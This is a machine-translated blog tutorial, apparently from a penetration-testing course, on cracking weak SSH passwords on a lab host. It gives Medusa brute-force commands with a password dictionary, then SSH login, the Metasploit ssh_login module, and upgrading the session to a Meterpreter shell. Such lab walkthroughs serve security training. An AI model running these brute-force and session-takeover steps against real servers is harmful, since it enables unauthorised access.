当前位置:网站首页>6-5 vulnerability exploitation SSH weak password cracking and utilization
6-5 vulnerability exploitation SSH weak password cracking and utilization
2022-07-04 04:42:00 【Mountain Rabbit 1】

After cracking the password , Get the corresponding user name , You can use ssh Client software , Log in accordingly , After login , We can do many operations , get shell, stay shell among , You can execute the corresponding command
Medusa ssh Weak password cracking
If you are setting SSH The service , The administrator set the user name and password that can be easily guessed out for the convenience of memory ( Weak password ). Then the tester can use the corresponding password tools to authenticate and brutally crack weak passwords , Or the process of cracking the user name and password at the same time . So as to get some user names and passwords that are easy to guess , After cracking it, you can log in to the system with the corresponding user name and password ssh
Weak password cracking , Verified a saying , Flies don't bite seamless eggs , Because we set a weak password , It is likely to be cracked , For our convenience , This leads to the defects of the system , It's very inappropriate
Let's introduce medusa For the specified ssh Service to crack user name and password
medusa -h 192.168.1.100 -u msfadmin -p msfadmin -M ssh

adopt -M Specify the service to crack , appear success Indicates successful cracking , without , It means that our dictionary does not contain a user name and password combination of our login system
First of all, we ping Check the target server
ping 192.168.1.100

medusa
// View help information

medusa -d

adopt -d Here's a list of , Modules or protocols we know , When we crack , We want to get rid of .mod, direct ssh Can
medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh

This is the time , Try our password every time , Whether it matches the corresponding user name
SSH Command line tool login
use ssh Client login ssh service , To operate , When there is no graphical interface , We completely need to rely on the command line , Or is it linux Built-in tools , To operate , Complete the operation more efficiently
In general Linux All have ssh client , Used to log in ssh Server side
have access to ssh user name @IP Address Then enter the password according to the prompt
By default 22 Port no. , We don't need to specify the corresponding port , Of course , If our ssh Ports are other ports , We just need -p Specify the corresponding port number
ssh [email protected]
msfadmin
id
ifconfig

After login , You can execute some commands , He just used ssh Service login
Metasploit utilize SSH Login bounce shell
Use Metasploit Can be done ssh Sign in ( According to the result of cracking , Automatic login ), The corresponding Bash shell Connect .
medusa Only crack , And ours metasploit The corresponding result will be returned , So that we can execute orders , He combined medusa and ssh Such an operation of the client
set rhosts 192.168.1.100
set username msfadmin
set password msfadmin
run
sessions -l

msfconsole
//metasploit Command line controlled terminal
use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 192.168.1.100

set username msfadmin
show options

set password msfadmin
show options

run

sessions -l
sessions -i 1
id

ifconfig

Metasploit obtain Meterperter shell
Using the obtained Bash shell, Inject Metasploit in Meterpreter payload So as to obtain more powerful shell.
sessions -u 1
// Enter the id, Will inject the corresponding meterpreter payload
sessions -l
// Use session -l To view the
sessions -i 3
// Enter the corresponding payload id Connect
id
pwd

边栏推荐
- 新手找陪驾要注意什么
- 领导:谁再用redis过期监听实现关闭订单,立马滚蛋!
- Self sharing of a graduate
- PaddleHub人脸识别方案部署,将训练好的模型在pytchrom中进行部署应用
- Leetcode 121 best time to buy and sell stock (simple)
- Main applications of TDK lambda power supply
- Rhcsa 04 - process management
- CRS-4013: This command is not supported in a single-node configuration.
- 【安全攻防】序列化与反序列,你了解多少?
- MySQL 索引和事务
猜你喜欢

Modstartblog modern personal blog system v5.2.0 source code download

Senior developers tell you, how to write excellent code?

MySQL JDBC编程

Boutique website navigation theme whole station source code WordPress template adaptive mobile terminal

Zhengzhou zhengqingyuan Culture Communication Co., Ltd.: seven marketing skills for small enterprises

Niuke Xiaobai monthly race 49

6-4漏洞利用-SSH Banner信息获取

Virtual commodity account trading platform source code_ Support personal QR code collection

Intersection traffic priority, illustration of intersection traffic rules

苹果CMS仿西瓜视频大气响应式视频模板源码
随机推荐
RAC delete damaged disk group
20000 words will take you to master multithreading
[cloud native] those lines of code that look awesome but have a very simple principle
Kivy教程之 格式化文本 (教程含源码)
Touch your hand and bring you a commonjs specification
"Don't care too much about salary when looking for a job", this is the biggest lie I've ever heard
Wechat brain competition answer applet_ Support the flow main belt with the latest question bank file
Dry goods | detailed explanation of webshell Foundation
(pointer) write function void fun (int x, int *pp, int *n)
5张图告诉你:同样是职场人,差距怎么这么大?
陪驾注意事项 这23点要注意!
Rhcsa 04 - process management
GUI application: socket network chat room
What is the difference between Western Digital Green disk, blue disk, black disk, red disk and purple disk
@Feignclient comments and parameters
Operation of ES6
苹果CMS仿西瓜视频大气响应式视频模板源码
Many founders of technology companies provided enterpriser first with a round C financing of up to US $158million to help it invest in the next generation of global innovators
Rhcsa 01 - create partitions and file systems
Dp83848+ network cable hot plug